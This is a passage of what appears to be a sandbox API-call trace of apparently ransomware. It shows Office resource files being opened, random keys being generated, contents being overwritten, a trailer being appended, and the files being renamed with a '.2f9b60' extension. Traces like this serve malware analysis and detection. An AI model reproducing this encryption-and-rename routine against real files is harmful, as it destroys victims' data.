_Dest=0x420590bc, _Format="%c%c" | out: _Dest="fc") returned 2 [0146.937] sprintf (in: _Dest=0x420590be, _Format="%c%c" | out: _Dest="0e") returned 2 [0146.938] sprintf (in: _Dest=0x420590c0, _Format="%c%c" | out: _Dest="47") returned 2 [0146.938] sprintf (in: _Dest=0x420590c2, _Format="%c%c" | out: _Dest="e7") returned 2 [0146.938] sprintf (in: _Dest=0x420590c4, _Format="%c%c" | out: _Dest="f5") returned 2 [0146.938] sprintf (in: _Dest=0x420590c6, _Format="%c%c" | out: _Dest="72") returned 2 [0146.938] sprintf (in: _Dest=0x420590c8, _Format="%c%c" | out: _Dest="5a") returned 2 [0146.938] sprintf (in: _Dest=0x420590ca, _Format="%c%c" | out: _Dest="e3") returned 2 [0146.938] sprintf (in: _Dest=0x420590cc, _Format="%c%c" | out: _Dest="ac") returned 2 [0146.938] sprintf (in: _Dest=0x420590ce, _Format="%c%c" | out: _Dest="b1") returned 2 [0146.938] sprintf (in: _Dest=0x420590d0, _Format="%c%c" | out: _Dest="19") returned 2 [0146.938] sprintf (in: _Dest=0x420590d2, _Format="%c%c" | out: _Dest="be") returned 2 [0146.938] sprintf (in: _Dest=0x420590d4, _Format="%c%c" | out: _Dest="66") returned 2 [0146.938] sprintf (in: _Dest=0x420590d6, _Format="%c%c" | out: _Dest="57") returned 2 [0146.938] sprintf (in: _Dest=0x420590d8, _Format="%c%c" | out: _Dest="e4") returned 2 [0146.938] sprintf (in: _Dest=0x420590da, _Format="%c%c" | out: _Dest="f0") returned 2 [0146.939] sprintf (in: _Dest=0x420590dc, _Format="%c%c" | out: _Dest="53") returned 2 [0146.939] sprintf (in: _Dest=0x420590de, _Format="%c%c" | out: _Dest="fc") returned 2 [0146.939] sprintf (in: _Dest=0x420590e0, _Format="%c%c" | out: _Dest="08") returned 2 [0146.939] sprintf (in: _Dest=0x420590e2, _Format="%c%c" | out: _Dest="7d") returned 2 [0146.939] sprintf (in: _Dest=0x420590e4, _Format="%c%c" | out: _Dest="c1") returned 2 [0146.939] sprintf (in: _Dest=0x420590e6, _Format="%c%c" | out: _Dest="c9") returned 2 [0146.939] RtlInitAnsiString (in: DestinationString=0x3eb8f968, SourceString="085a6cc95b79fc0e47e7f5725ae3acb119be6657e4f053fc087dc1c9" | out: DestinationString="085a6cc95b79fc0e47e7f5725ae3acb119be6657e4f053fc087dc1c9") [0146.939] RtlAnsiStringToUnicodeString (in: DestinationString=0x3eb8f938, SourceString="085a6cc95b79fc0e47e7f5725ae3acb119be6657e4f053fc087dc1c9", AllocateDestinationString=1 | out: DestinationString="085a6cc95b79fc0e47e7f5725ae3acb119be6657e4f053fc087dc1c9") returned 0x0 [0146.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8665c0 [0146.940] RtlFreeAnsiString (AnsiString="0") [0146.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0146.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0146.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0146.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0146.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0146.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0146.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0146.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0146.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20509210 [0146.942] wcscat (in: _Dest=0x20509210, _Source="085a6cc95b79fc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\085a6cc95b79fc") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\085a6cc95b79fc" [0146.942] wcscat (in: _Dest=0x20509210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\085a6cc95b79fc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\085a6cc95b79fc.2f9b60" [0146.942] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\085a6cc95b79fc.2f9b60", NtPathName=0x3eb8f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\085a6cc95b79fc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce21ea0 [0146.943] NtSetInformationFile (FileHandle=0x1ef8, IoStatusBlock=0x3eb8f9b0, FileInformation=0x1ce21ea0, Length=0xaa, FileInformationClass=0xa) Thread: id = 2248 os_tid = 0xc40 [0143.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20 [0145.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK", dwFileAttributes=0x20) returned 1 [0146.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f90 [0146.523] GetFileSizeEx (in: hFile=0x1f90, lpFileSize=0x3f36f960 | out: lpFileSize=0x3f36f960*=111) returned 1 [0146.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0146.524] NtQuerySystemTime (in: CurrentTime=0x3f36f820 | out: CurrentTime=0x3f36f820*=132462177517642000) returned 0x0 [0146.524] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x602b979e [0146.524] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x79a72ae3 [0146.524] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x604cb718 [0146.524] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x3920643b [0146.524] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x20ff2fab [0146.525] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x57c88da2 [0146.525] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x56cdceee [0146.525] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x7abd755c [0146.525] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x6654a82b [0146.525] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x87d67d8 [0146.525] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0xfd423dd [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x66d80a11 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x526d7a7f [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x38f90921 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x13389466 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x3513671a [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x82a840a [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x372be8e7 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x3a41443e [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x1f86a14 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x79228b2 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x7292879e [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x75c5cc5 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x1bb8cf7 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x625e74d0 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x6125093d [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x31f10c28 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x13f3aca2 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x77fc39b1 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x49ed340a [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x4cebe122 [0146.528] RtlRandomEx (in: Seed=0x3f36f810 | out: Seed=0x3f36f810) returned 0x60d01665 [0146.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0146.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0146.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0146.544] ReadFile (in: hFile=0x1f90, lpBuffer=0x4223c5b0, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x3f36f810, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesRead=0x3f36f810*=0x6f, lpOverlapped=0x0) returned 1 [0146.545] SetFilePointerEx (in: hFile=0x1f90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.545] WriteFile (in: hFile=0x1f90, lpBuffer=0x42225d50*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x3f36f814, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesWritten=0x3f36f814*=0x6f, lpOverlapped=0x0) returned 1 [0146.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0146.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0146.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda07f0 [0146.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0830 [0146.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x1674c0 [0146.603] SetFilePointerEx (in: hFile=0x1f90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.603] WriteFile (in: hFile=0x1f90, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f36f930, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3f36f930*=0x112, lpOverlapped=0x0) returned 1 [0146.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0146.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0146.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42059ba0 [0146.646] sprintf (in: _Dest=0x42059ba0, _Format="%c%c" | out: _Dest="fd") returned 2 [0146.646] sprintf (in: _Dest=0x42059ba2, _Format="%c%c" | out: _Dest="ad") returned 2 [0146.646] sprintf (in: _Dest=0x42059ba4, _Format="%c%c" | out: _Dest="bb") returned 2 [0146.646] sprintf (in: _Dest=0x42059ba6, _Format="%c%c" | out: _Dest="44") returned 2 [0146.646] sprintf (in: _Dest=0x42059ba8, _Format="%c%c" | out: _Dest="c2") returned 2 [0146.646] sprintf (in: _Dest=0x42059baa, _Format="%c%c" | out: _Dest="b3") returned 2 [0146.646] sprintf (in: _Dest=0x42059bac, _Format="%c%c" | out: _Dest="ab") returned 2 [0146.646] sprintf (in: _Dest=0x42059bae, _Format="%c%c" | out: _Dest="2b") returned 2 [0146.646] sprintf (in: _Dest=0x42059bb0, _Format="%c%c" | out: _Dest="15") returned 2 [0146.646] sprintf (in: _Dest=0x42059bb2, _Format="%c%c" | out: _Dest="cf") returned 2 [0146.646] sprintf (in: _Dest=0x42059bb4, _Format="%c%c" | out: _Dest="1d") returned 2 [0146.647] sprintf (in: _Dest=0x42059bb6, _Format="%c%c" | out: _Dest="a7") returned 2 [0146.647] sprintf (in: _Dest=0x42059bb8, _Format="%c%c" | out: _Dest="fb") returned 2 [0146.647] sprintf (in: _Dest=0x42059bba, _Format="%c%c" | out: _Dest="8c") returned 2 [0146.647] sprintf (in: _Dest=0x42059bbc, _Format="%c%c" | out: _Dest="06") returned 2 [0146.647] sprintf (in: _Dest=0x42059bbe, _Format="%c%c" | out: _Dest="f8") returned 2 [0146.647] sprintf (in: _Dest=0x42059bc0, _Format="%c%c" | out: _Dest="62") returned 2 [0146.647] sprintf (in: _Dest=0x42059bc2, _Format="%c%c" | out: _Dest="29") returned 2 [0146.647] sprintf (in: _Dest=0x42059bc4, _Format="%c%c" | out: _Dest="1d") returned 2 [0146.647] sprintf (in: _Dest=0x42059bc6, _Format="%c%c" | out: _Dest="e2") returned 2 [0146.647] sprintf (in: _Dest=0x42059bc8, _Format="%c%c" | out: _Dest="0f") returned 2 [0146.647] sprintf (in: _Dest=0x42059bca, _Format="%c%c" | out: _Dest="d7") returned 2 [0146.647] sprintf (in: _Dest=0x42059bcc, _Format="%c%c" | out: _Dest="30") returned 2 [0146.647] sprintf (in: _Dest=0x42059bce, _Format="%c%c" | out: _Dest="48") returned 2 [0146.647] sprintf (in: _Dest=0x42059bd0, _Format="%c%c" | out: _Dest="c0") returned 2 [0146.647] sprintf (in: _Dest=0x42059bd2, _Format="%c%c" | out: _Dest="49") returned 2 [0146.647] sprintf (in: _Dest=0x42059bd4, _Format="%c%c" | out: _Dest="06") returned 2 [0146.647] sprintf (in: _Dest=0x42059bd6, _Format="%c%c" | out: _Dest="40") returned 2 [0146.647] sprintf (in: _Dest=0x42059bd8, _Format="%c%c" | out: _Dest="ef") returned 2 [0146.647] sprintf (in: _Dest=0x42059bda, _Format="%c%c" | out: _Dest="25") returned 2 [0146.647] sprintf (in: _Dest=0x42059bdc, _Format="%c%c" | out: _Dest="18") returned 2 [0146.647] sprintf (in: _Dest=0x42059bde, _Format="%c%c" | out: _Dest="19") returned 2 [0146.648] RtlInitAnsiString (in: DestinationString=0x3f36f9a8, SourceString="fdadbb44c2b3ab2b15cf1da7fb8c06f862291de20fd73048c0490640ef251819" | out: DestinationString="fdadbb44c2b3ab2b15cf1da7fb8c06f862291de20fd73048c0490640ef251819") [0146.648] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f36f978, SourceString="fdadbb44c2b3ab2b15cf1da7fb8c06f862291de20fd73048c0490640ef251819", AllocateDestinationString=1 | out: DestinationString="fdadbb44c2b3ab2b15cf1da7fb8c06f862291de20fd73048c0490640ef251819") returned 0x0 [0146.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86b790 [0146.648] RtlFreeAnsiString (AnsiString="f") [0146.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20509170 [0146.650] wcscat (in: _Dest=0x20509170, _Source="fdadbb44c2b3ab2b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fdadbb44c2b3ab2b") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fdadbb44c2b3ab2b" [0146.650] wcscat (in: _Dest=0x20509170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fdadbb44c2b3ab2b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fdadbb44c2b3ab2b.2f9b60" [0146.650] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fdadbb44c2b3ab2b.2f9b60", NtPathName=0x3f36f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\fdadbb44c2b3ab2b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce22020 [0146.650] NtSetInformationFile (FileHandle=0x1f90, IoStatusBlock=0x3f36f9f0, FileInformation=0x1ce22020, Length=0xae, FileInformationClass=0xa) Thread: id = 2249 os_tid = 0xdec [0143.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 0x20 [0145.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK", dwFileAttributes=0x20) returned 1 [0146.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f30 [0146.605] GetFileSizeEx (in: hFile=0x1f30, lpFileSize=0x3f2ef7a0 | out: lpFileSize=0x3f2ef7a0*=110) returned 1 [0146.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.605] NtQuerySystemTime (in: CurrentTime=0x3f2ef660 | out: CurrentTime=0x3f2ef660*=132462177518422000) returned 0x0 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x7b64ec45 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x35abb41e [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x5c362713 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x24347c6a [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x2e8bb5a [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x15a02422 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x5ffd28c3 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x385e1ce8 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x14e0af09 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x77b9233e [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x657d6e23 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x67ec7e76 [0146.605] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x19e6c0e8 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x4bafc537 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0xd2fe2b [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x40b70c9e [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x352a845f [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x620e24ed [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x73211c9e [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x1c48675b [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x6a9ef1dd [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x25b1e8b1 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x3951744e [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x4c278ade [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x4c20c864 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x4fde4ed4 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x4302b10e [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x30c0a51f [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x672eb292 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x27ee0fdd [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x33d0ffb3 [0146.606] RtlRandomEx (in: Seed=0x3f2ef650 | out: Seed=0x3f2ef650) returned 0x6d4ffa7b [0146.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0146.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0146.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0146.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0146.616] ReadFile (in: hFile=0x1f30, lpBuffer=0x4223c5b0, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x3f2ef650, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesRead=0x3f2ef650*=0x6e, lpOverlapped=0x0) returned 1 [0146.617] SetFilePointerEx (in: hFile=0x1f30, liDistanceToMove=0x0, 